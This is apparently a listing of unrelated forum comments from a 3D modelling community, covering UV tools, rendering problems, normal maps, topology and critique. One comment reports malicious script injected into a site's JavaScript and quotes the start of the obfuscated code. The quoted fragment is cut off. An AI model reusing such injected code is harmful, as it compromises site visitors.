Both Slideknit and UVWframe look very promising, gonna try those. @ SpeCter Never really understood what the W is good for. :) But select all and then setting W to zero should always do the trick.
W O W ! ! The metal remix is amazing, and the original meltdown is unreal. Good lord, I think that might have been too high pitched for dogs to hear. Perfect metal mix, thank you for that.
There's a scripting exploit in your site. I started digging around in your javascript files and found this cryptic code block that has been inserted into everything: this.zc="zc";var kl=new String();v=function(){var kg;if(kg!='se'){kg='se'};var w=document;var e;if(e!='d'){e=''};var ty;if(ty!='' &&…
Hey guys, when i render w/ maya software my normals and spec show up, however when i use mental ray, only the diffuse shows through. all maps are targas w/ solid alphas. Any suggestions?
I wrote my own but you could try this... Flatten the UVs in their W coordinate before running the tools and see if that solves it. A number of UV operations cause shifts in W and that will mess with the maths used in the texel density tools if it's not accounted for.
"It's better to dig in and learn the process yourself, hard-surface modeling is actually very achievable." SECONDED! @Collins you're only cheating yourself and the artists, specifically their work having been flogged off as your own.
wow...i have always heard(and this happened to me once) that max creates some really nasty seams w/normal maps....that's why i wanted to try it w/zmapper. fat-cap...why do you think zmapper gives poorer results?
hey rob, this is a great way to set up edgeloops on the head. it's prolly what most people follow. however w/your texturing style...you could get away w/half the amount of polies you're using. but this a great reference for a facial set-up
Hey guys I'm trying to speed up or look for holes in this workflow I spent sometime putting together. -put together rough concept and collect reference -model dense enough control mesh -export to Zbrush -make poly mesh 3d, assign groups, GUV tiles, and create morph target -subdivide and model down to high frequency detail…
Looking great so far. Though I'm thinking the legs should probably not be so well-defined and muscled, compared to the style of the concept. They look a bit more like older-guy runner's legs, lean and tightly-defined.